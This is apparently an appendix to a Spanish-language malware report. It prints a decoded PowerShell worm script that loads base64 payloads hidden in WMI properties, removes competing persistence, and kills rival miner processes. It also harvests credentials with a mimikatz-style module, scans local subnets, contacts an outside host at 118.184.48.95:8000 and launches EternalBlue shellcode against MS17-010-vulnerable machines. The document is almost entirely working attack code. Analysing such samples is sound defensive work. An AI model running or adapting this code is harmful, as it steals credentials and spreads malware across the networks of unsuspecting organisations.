## **Anexo I**

**Script en powershell decodificado:**

|  |
| --- |
| $stime=[Environment]::TickCount$funs = ([WmiClass] 'root\default:Win32\_TaskService').Properties['funs'].Value $defun=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs))iex $defun Get-WmiObject \_\_FilterToConsumerBinding -Namespace root\subscription | Where-Object {$\_.filter -notmatch 'SCM Event'} |Remove-WmiObject$dirpath=$env:SystemRoot+'\system32' if (!(test-path $dirpath )){ $dirpath=$env:SystemRoot}if (!(test-path ($dirpath+'\msvcp120.dll'))){sentfile ($dirpath+'\msvcp120.dll') 'vcp'}if (!(test-path ($dirpath+'\msvcr120.dll'))){sentfile ($dirpath+'\msvcr120.dll') 'vcr'}[array]$psids= get-process -name powershell |sort cpu -Descending| ForEach-Object {$\_.id}$tcpconn = netstat -anop tcp $exist=$Falseif ($psids -ne $null ){ foreach ($t in $tcpconn) { $line =$t.split(' ')| ?{$\_} if ($line -eq $null) {continue} if (($psids[0] -eq $line[-1]) -and $t.contains("ESTABLISHED") -and $t.contains(":80 ") ) { $exist=$true break } }}foreach ($t in $tcpconn) { $line =$t.split(' ')| ?{$\_} if (!($line -is [array])){continue} if (($line[-3].contains(":3333") -or $line[-3].contains(":5555")) -and $t.contains("ESTABLISHED") ) { $evid=$line[-1] Get-Process -id $evid | stop-process -force } }if (!$exist -and $psids.count -le 8){  $cmdmon="powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Win32\_TaskService').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Win32\_TaskService').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`"" Invoke-WmiMethod -class win32\_process -name create -Argumentlist $cmdmon}$NTLM=$False$mimi = ([WmiClass] 'root\default:Win32\_TaskService').Properties['mimi'].Value $a, $NTLM= Get-creds $mimi $mimi $Networks = Get-WmiObject Win32\_NetworkAdapterConfiguration -EA Stop | ? {$\_.IPEnabled} $ipsuc = ([WmiClass] 'root\default:Win32\_TaskService').Properties['ipsuc'].Value $ip17 = ([WmiClass] 'root\default:Win32\_TaskService').Properties['ip17'].Value $scba= ([WmiClass] 'root\default:Win32\_TaskService').Properties['sc'].Value [byte[]]$sc=[System.Convert]::FromBase64String($scba) foreach ($Network in $Networks) {   $IPAddress = $Network.IpAddress[0]  if ($IPAddress -match '^169.254'){continue}  $SubnetMask = $Network.IPSubnet[0]  $ips=Get-NetworkRange $IPAddress $SubnetMask $tcpconn = netstat -anop tcp  foreach ($t in $tcpconn) { $line =$t.split(' ')| ?{$\_} if (!($line -is [array])){continue} if ($line.count -le 4){continue} $i=$line[-3].split(':')[0] if ( ($line[-2] -eq 'ESTABLISHED') -and ($i -ne '127.0.0.1') -and ($ips -notcontains $i)) { $ips+=$i } } if (([Environment]::TickCount-$stime)/1000 -gt 5400){break} foreach ($ip in $ips) {  if (([Environment]::TickCount-$stime)/1000 -gt 5400){break} if ($ip -eq $IPAddress){continue}  if ((Test-Connection $ip -count 1) -ne $null -and $ipsuc -notcontains $ip)  {  $re=0 if ($a.count -ne 0)  {$re = test-ip -ip $ip -creds $a -nic '118.184.48.95:8000' -ntlm $NTLM } if ($re -eq 1){$ipsuc =$ipsuc +" "+$ip} else { $vul=[PingCastle.Scanners.ms17\_010scanner]::Scan($ip) if ($vul -and $ip17 -notcontains $ip) { smb\_eternalblue $ip $sc $ip17 = $ip17 + " "+$ip } } } } } $StaticClass.SetPropertyValue('ipsuc' ,$ipsuc)$StaticClass.Put()$StaticClass.SetPropertyValue('ip17' ,$ip17)$StaticClass.Put() |